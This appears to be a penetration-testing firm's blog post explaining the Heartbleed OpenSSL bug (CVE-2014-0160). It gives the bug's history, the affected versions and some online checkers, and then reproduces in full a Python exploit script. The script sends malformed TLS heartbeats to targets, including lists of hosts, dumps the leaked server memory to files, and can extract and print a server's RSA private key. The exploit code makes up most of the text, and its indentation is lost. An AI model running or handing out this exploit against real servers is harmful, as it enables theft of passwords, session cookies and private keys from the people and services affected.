Tag Archives: heartbleed

heartbleed logo

Many of us have been hearing the word Heartbleed and are wondering what is that and how severe is this and why everyone is talking about it. Here we are going to discuss this most spoken Vulnerability and how to test it.

The majority of Online Services uses OpenSSL, a security standard which encrypts the communication between a user (You) and the Server. SSL simply means Secure Socket Layer. By the name OpenSSL itself, we can understand that it is open source software that facilitates communication over SSL protocol. OpenSSL is a widely used implementation of the Transport Layer Security.

Heartbeat extension was introduced for the Transport Layer Security (TLS) and Datagram Transport Layer Security (DTLS) protocols in February 2012. The Heartbeat Extension provides a new protocol for TLS/DTLS allowing the usage of keep-alive functionality without performing a renegotiation and a basis for path MTU (PMTU) discovery for DTLS. Before its release itself, the Heartbeat extension for OpenSSL had a bug and the developers failed to notice it and released it with the flaw. It is Robin Seggelmann who wrote this faulty code while working for the OpenSSL project during his Ph.D. from 2008 to 2012. Actually Heartbleed is not a protocol error or problem; instead, it is an implementation problem in the OpenSSL library.

This Heartbleed bug affects OpenSSL version 1.0.1 to 1.0.1f. Beta of OpenSSL version 1.0.2 is also vulnerable to Heartbleed. Whoever (Maybe a server or a client) is using vulnerable OpenSSL instance for TLS is vulnerable to be exploited by Heartbleed vulnerability. Heartbleed results from improper input validation in the implementation of the TLS heartbeat extension.

The attack includes unencrypted exchanges between TLS likely to be confidential including any form post data in user’s request. Confidential data exposed may contain authentication aspects such as passwords and session cookies. Successful attack also reveals the private key which means an attacker can steal the server’s digital keys. Although many thought that only the servers are affected by Heartbleed vulnerability, TLS clients using vulnerable OpenSSL is also vulnerable to this bug. According to Codenomicon exploiting the bug leaves no traces of abnormal happening in the log of Websites.

Heartbleed bug was disclosed in April 2014 and a fixed version of OpenSSL was released on 7th April 2014, the very same day the bug was disclosed. It is registered in the Common Vulnerability Exposure systems as CVE-2014-0160. Heartbleed was reported on 1 April 2014 by Neel Mehta of Google’s Security team. But the bug was named by an engineer named Ossi Herrala at Codenomicon which is Finnish Company which also designed the Heartbleed logo. The fixed version of the OpenSSL is 1.0.1g. Codenomicon reported it on 3rd April 2014. Both reported individually about the same issue.

To know whether the site you are visiting is vulnerable to Heartbleed vulnerability there are few sites where you can enter the site’s name to be checked.

https://lastpass.com/heartbleed/

https://filippo.io/Heartbleed/

https://www.ssllabs.com/ssltest/index.html

As Provensec is into the Web Penetration Testing we would like you to guide you through manual testing of heartbleed.

If you want to do it on your own and want to have a code for checking Heartbleed bug then read below. We will provide you with the python script that is used to test Heartbleed. The source is available on GitHub.

#!/usr/bin/python

# Modified by Travis Lee

# Last Updated: 4/21/14

# Version 1.16

#

# -changed output to display text only instead of hexdump and made it easier to read

# -added option to specify the number of times to connect to server (to get more data)

# -added option to send STARTTLS command for use with SMTP/POP/IMAP/FTP/etc…

# -added option to specify an input file of multiple hosts, line delimited, with or without a port specified (host:port)

# -added option to have verbose output

# -added capability to automatically check if STARTTLS/STLS/AUTH TLS is supported when smtp/pop/imap/ftp ports are entered and automatically send appropriate command

# -added option for hex output

# -added option to output raw data to a file

# -added option to output ascii data to a file

# -added option to not display returned data on screen (good if doing many iterations and outputting to a file)

# -added tls version auto-detection

# -added an extract rsa private key mode (orig code from epixoip. will exit script when found and enables -d (do not display returned data on screen)

#  -requires following modules: gmpy, pyasn1

 

# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)

# The author disclaims copyright to this source code.

 

import sys

import struct

import socket

import time

import select

import re

import time

import os

from optparse import OptionParser

 

options = OptionParser(usage='%prog server [options]', description='Test and exploit TLS heartbeat vulnerability aka heartbleed (CVE-2014-0160)')

options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')

options.add_option('-n', '--num', type='int', default=1, help='Number of times to connect/loop (default: 1)')

options.add_option('-s', '--starttls', action="store_true", dest="starttls", help='Issue STARTTLS command for SMTP/POP/IMAP/FTP/etc...')

options.add_option('-f', '--filein', type='str', help='Specify input file, line delimited, IPs or hostnames or IP:port or hostname:port')

options.add_option('-v', '--verbose', action="store_true", dest="verbose", help='Enable verbose output')

options.add_option('-x', '--hexdump', action="store_true", dest="hexdump", help='Enable hex output')

options.add_option('-r', '--rawoutfile', type='str', help='Dump the raw memory contents to a file')

options.add_option('-a', '--asciioutfile', type='str', help='Dump the ascii contents to a file')

options.add_option('-d', '--donotdisplay', action="store_true", dest="donotdisplay", help='Do not display returned data on screen')

options.add_option('-e', '--extractkey', action="store_true", dest="extractkey", help='Attempt to extract RSA Private Key, will exit when found. Choosing this enables -d, do not display returned data on screen.')

opts, args = options.parse_args()

 

if opts.extractkey:

import base64, gmpy

from pyasn1.codec.der import encoder

from pyasn1.type.univ import *

def hex2bin(arr):

return ''.join('{:02x}'.format(x) for x in arr).decode('hex')

 

tls_versions = {0x01:'TLSv1.0',0x02:'TLSv1.1',0x03:'TLSv1.2'}

def build_client_hello(tls_ver):

client_hello = [

# TLS header ( 5 bytes)

0x16,               # Content type (0x16 for handshake)

0x03, tls_ver,         # TLS Version

0x00, 0xdc,         # Length

# Handshake header

0x01,               # Type (0x01 for ClientHello)

0x00, 0x00, 0xd8,   # Length

0x03, tls_ver,         # TLS Version

# Random (32 byte)

0x53, 0x43, 0x5b, 0x90, 0x9d, 0x9b, 0x72, 0x0b,

0xbc, 0x0c, 0xbc, 0x2b, 0x92, 0xa8, 0x48, 0x97,

0xcf, 0xbd, 0x39, 0x04, 0xcc, 0x16, 0x0a, 0x85,

0x03, 0x90, 0x9f, 0x77, 0x04, 0x33, 0xd4, 0xde,

0x00,               # Session ID length

0x00, 0x66,         # Cipher suites length

# Cipher suites (51 suites)

0xc0, 0x14, 0xc0, 0x0a, 0xc0, 0x22, 0xc0, 0x21,

0x00, 0x39, 0x00, 0x38, 0x00, 0x88, 0x00, 0x87,

0xc0, 0x0f, 0xc0, 0x05, 0x00, 0x35, 0x00, 0x84,

0xc0, 0x12, 0xc0, 0x08, 0xc0, 0x1c, 0xc0, 0x1b,

0x00, 0x16, 0x00, 0x13, 0xc0, 0x0d, 0xc0, 0x03,

0x00, 0x0a, 0xc0, 0x13, 0xc0, 0x09, 0xc0, 0x1f,

0xc0, 0x1e, 0x00, 0x33, 0x00, 0x32, 0x00, 0x9a,

0x00, 0x99, 0x00, 0x45, 0x00, 0x44, 0xc0, 0x0e,

0xc0, 0x04, 0x00, 0x2f, 0x00, 0x96, 0x00, 0x41,

0xc0, 0x11, 0xc0, 0x07, 0xc0, 0x0c, 0xc0, 0x02,

0x00, 0x05, 0x00, 0x04, 0x00, 0x15, 0x00, 0x12,

0x00, 0x09, 0x00, 0x14, 0x00, 0x11, 0x00, 0x08,

0x00, 0x06, 0x00, 0x03, 0x00, 0xff,

0x01,               # Compression methods length

0x00,               # Compression method (0x00 for NULL)

0x00, 0x49,         # Extensions length

# Extension: ec_point_formats

0x00, 0x0b, 0x00, 0x04, 0x03, 0x00, 0x01, 0x02,

# Extension: elliptic_curves

0x00, 0x0a, 0x00, 0x34, 0x00, 0x32, 0x00, 0x0e,

0x00, 0x0d, 0x00, 0x19, 0x00, 0x0b, 0x00, 0x0c,

0x00, 0x18, 0x00, 0x09, 0x00, 0x0a, 0x00, 0x16,

0x00, 0x17, 0x00, 0x08, 0x00, 0x06, 0x00, 0x07,

0x00, 0x14, 0x00, 0x15, 0x00, 0x04, 0x00, 0x05,

0x00, 0x12, 0x00, 0x13, 0x00, 0x01, 0x00, 0x02,

0x00, 0x03, 0x00, 0x0f, 0x00, 0x10, 0x00, 0x11,

# Extension: SessionTicket TLS

0x00, 0x23, 0x00, 0x00,

# Extension: Heartbeat

0x00, 0x0f, 0x00, 0x01, 0x01

]

return client_hello

 

def build_heartbeat(tls_ver):

heartbeat = [

0x18,       # Content Type (Heartbeat)

0x03, tls_ver,  # TLS version

0x00, 0x03,  # Length

# Payload

0x01,       # Type (Request)

0x40, 0x00  # Payload length

]

return heartbeat

 

 

if opts.rawoutfile:

rawfileOUT = open(opts.rawoutfile, "a")

 

if opts.asciioutfile:

asciifileOUT = open(opts.asciioutfile, "a")

 

if opts.extractkey:

opts.donotdisplay = True

 

def hexdump(s):

pdat = ''

hexd = ''

for b in xrange(0, len(s), 16):

lin = [c for c in s[b : b + 16]]

if opts.hexdump:

hxdat = ' '.join('%02X' % ord(c) for c in lin)

pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)

hexd += '  %04x: %-48s %s\n' % (b, hxdat, pdat)

else:

pdat += ''.join((c if ((32 <= ord(c) <= 126) or (ord(c) == 10) or (ord(c) == 13)) else '.' )for c in lin)

if opts.hexdump:

return hexd

else:

pdat = re.sub(r'([.]{50,})', '', pdat)

if opts.asciioutfile:

asciifileOUT.write(pdat)

return pdat

 

def rcv_tls_record(s):

try:

tls_header = s.recv(5)

if not tls_header:

print 'Unexpected EOF (header)'

return None,None,None

typ,ver,length = struct.unpack('>BHH',tls_header)

message = ''

while len(message) != length:

message += s.recv(length-len(message))

if not message:

print 'Unexpected EOF (message)'

return None,None,None

if opts.verbose:

print 'Received message: type = {}, version = {}, length = {}'.format(typ,hex(ver),length,)

return typ,ver,message

except Exception as e:

print "\nError Receiving Record! " + str(e)

return None,None,None

 

def hit_hb(s, targ, firstrun, supported):

s.send(hex2bin(build_heartbeat(supported)))

while True:

typ, ver, pay = rcv_tls_record(s)

if typ is None:

print 'No heartbeat response received, server likely not vulnerable'

return ''

 

if typ == 24:

if opts.verbose:

print 'Received heartbeat response...'

if len(pay) > 3:

if firstrun or opts.verbose:

print '\nWARNING: ' + targ + ':' + str(opts.port) + ' returned more data than it should - server is vulnerable!'

if opts.rawoutfile:

rawfileOUT.write(pay)

if opts.extractkey:

return pay

else:

return hexdump(pay)

else:

print 'Server processed malformed heartbeat, but did not return any extra data.'

 

if typ == 21:

print 'Received alert:'

return hexdump(pay)

print 'Server returned an error, likely not vulnerable'

return ''

 

 

def conn(targ, port):

try:

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

sys.stdout.flush()

s.settimeout(10)

#time.sleep(0.2)

s.connect((targ, port))

return s

 

except Exception as e:

print "Connection Error! " + str(e)

return None

def bleed(targ, port):

try:

res = ''

firstrun = True

print '\n##################################################################'

print 'Connecting to: ' + targ + ':' + str(port) + ', ' + str(opts.num) + ' times'

for x in range(0, opts.num):

if x > 0:

firstrun = False

if x == 0 and opts.extractkey:

print "Attempting to extract private key from returned data..."

if not os.path.exists('./hb-certs'):

os.makedirs('./hb-certs')

print '\nGrabbing public cert from: ' + targ + ':' + str(port) + '\n'

os.system('echo | openssl s_client -connect ' + targ + ':' + str(port) + ' -showcerts | openssl x509 > hb-certs/sslcert_' + targ + '.pem')

print '\nExtracting modulus from cert...\n'

os.system('openssl x509 -pubkey -noout -in hb-certs/sslcert_' + targ + '.pem > hb-certs/sslcert_' + targ + '_pubkey.pem')

output = os.popen('openssl x509 -in hb-certs/sslcert_' + targ + '.pem -modulus -noout | cut -d= -f2')

modulus = output.read()

 

s = conn(targ, port)

if not s:

continue

 

# send starttls command if specified as an option or if common smtp/pop3/imap ports are used

if (opts.starttls) or (port in {25, 587, 110, 143, 21}):

 

stls = False

atls = False

# check if smtp supports starttls/stls

if port in {25, 587}:

print 'SMTP Port... Checking for STARTTLS Capability...'

check = s.recv(1024)

s.send("EHLO someone.org\n")

sys.stdout.flush()

check += s.recv(1024)

if opts.verbose:

print check

 

if "STARTTLS" in check:

opts.starttls = True

print "STARTTLS command found"

elif "STLS" in check:

opts.starttls = True

stls = True

print "STLS command found"

else:

print "STARTTLS command NOT found!"

print '##################################################################'

return

# check if pop3/imap supports starttls/stls

elif port in {110, 143}:

print 'POP3/IMAP4 Port... Checking for STARTTLS Capability...'

check = s.recv(1024)

if port == 110:

s.send("CAPA\n")

if port == 143:

s.send("CAPABILITY\n")

sys.stdout.flush()

check += s.recv(1024)

if opts.verbose:

print check

 

if "STARTTLS" in check:

opts.starttls = True

print "STARTTLS command found"

elif "STLS" in check:

opts.starttls = True

stls = True

print "STLS command found"

else:

print "STARTTLS command NOT found!"

print '##################################################################'

return

# check if ftp supports auth tls/starttls

elif port in {21}:

print 'FTP Port... Checking for AUTH TLS Capability...'

check = s.recv(1024)

s.send("FEAT\n")

sys.stdout.flush()

check += s.recv(1024)

if opts.verbose:

print check

 

if "STARTTLS" in check:

opts.starttls = True

print "STARTTLS command found"

elif "AUTH TLS" in check:

opts.starttls = True

atls = True

print "AUTH TLS command found"

else:

print "STARTTLS command NOT found!"

print '##################################################################'

return

 

# send appropriate tls command if supported

if opts.starttls:

sys.stdout.flush()

if stls:

print 'Sending STLS Command...'

s.send("STLS\n")

elif atls:

print 'Sending AUTH TLS Command...'

s.send("AUTH TLS\n")

else:

print 'Sending STARTTLS Command...'

s.send("STARTTLS\n")

if opts.verbose:

print 'Waiting for reply...'

sys.stdout.flush()

rcv_tls_record(s)

 

supported = False

for num,tlsver in tls_versions.items():

 

if firstrun:

print 'Sending Client Hello for {}'.format(tlsver)

s.send(hex2bin(build_client_hello(num)))

 

if opts.verbose:

print 'Waiting for Server Hello...'

 

while True:

typ,ver,message = rcv_tls_record(s)

if not typ:

if opts.verbose:

print 'Server closed connection without sending ServerHello for {}'.format(tlsver)

s.close()

s = conn(targ, port)

break

if typ == 22 and ord(message[0]) == 0x0E:

if firstrun:

print 'Received Server Hello for {}'.format(tlsver)

supported = True

break

if supported: break

 

if not supported:

print '\nError! No TLS versions supported!'

print '##################################################################'

return

if opts.verbose:

print '\nSending heartbeat request...'

sys.stdout.flush()

 

keyfound = False

if opts.extractkey:

res = hit_hb(s, targ, firstrun, supported)

if res == '':

continue

keyfound = extractkey(targ, res, modulus)

else:

res += hit_hb(s, targ, firstrun, supported)

s.close()

if keyfound:

sys.exit(0)

else:

sys.stdout.write('\rPlease wait... connection attempt ' + str(x+1) + ' of ' + str(opts.num))

sys.stdout.flush()

print '\n##################################################################'

print

return res

 

except Exception as e:

print "Error! " + str(e)

print '##################################################################'

print

 

def extractkey(host, chunk, modulus):

 

#print "\nChecking for private key...\n"

n = int (modulus, 16)

keysize = n.bit_length() / 16

 

for offset in xrange (0, len (chunk) - keysize):

p = long (''.join (["%02x" % ord (chunk[x]) for x in xrange (offset + keysize - 1, offset - 1, -1)]).strip(), 16)

if gmpy.is_prime (p) and p != n and n % p == 0:

if opts.verbose:

print '\n\nFound prime: ' + str(p)

e = 65537

q = n / p

phi = (p - 1) * (q - 1)

d = gmpy.invert (e, phi)

dp = d % (p - 1)

dq = d % (q - 1)

qinv = gmpy.invert (q, p)

seq = Sequence()

for x in [0, n, e, d, p, q, dp, dq, qinv]:

seq.setComponentByPosition (len (seq), Integer (x))

print "\n\n-----BEGIN RSA PRIVATE KEY-----\n%s-----END RSA PRIVATE KEY-----\n\n" % base64.encodestring(encoder.encode (seq))

privkeydump = open("hb-certs/privkey_" + host + ".dmp", "a")

privkeydump.write(chunk)

return True

else:

return False

 

def main():

 

print "\ndefribulator v1.16"

print "A tool to test and exploit the TLS heartbeat vulnerability aka heartbleed (CVE-2014-0160)"

allresults = ''

 

# if a file is specified, loop through file

if opts.filein:

fileIN = open(opts.filein, "r")

 

for line in fileIN:

targetinfo = line.strip().split(":")

if len(targetinfo) > 1:

allresults = bleed(targetinfo[0], int(targetinfo[1]))

else:

allresults = bleed(targetinfo[0], opts.port)

 

if allresults and (not opts.donotdisplay):

print '%s' % (allresults)

fileIN.close()

 

else:

if len(args) < 1:

options.print_help()

return

allresults = bleed(args[0], opts.port)

if allresults and (not opts.donotdisplay):

print '%s' % (allresults)

print

if opts.rawoutfile:

rawfileOUT.close()

if opts.asciioutfile:

asciifileOUT.close()

 

if __name__ == '__main__':

main()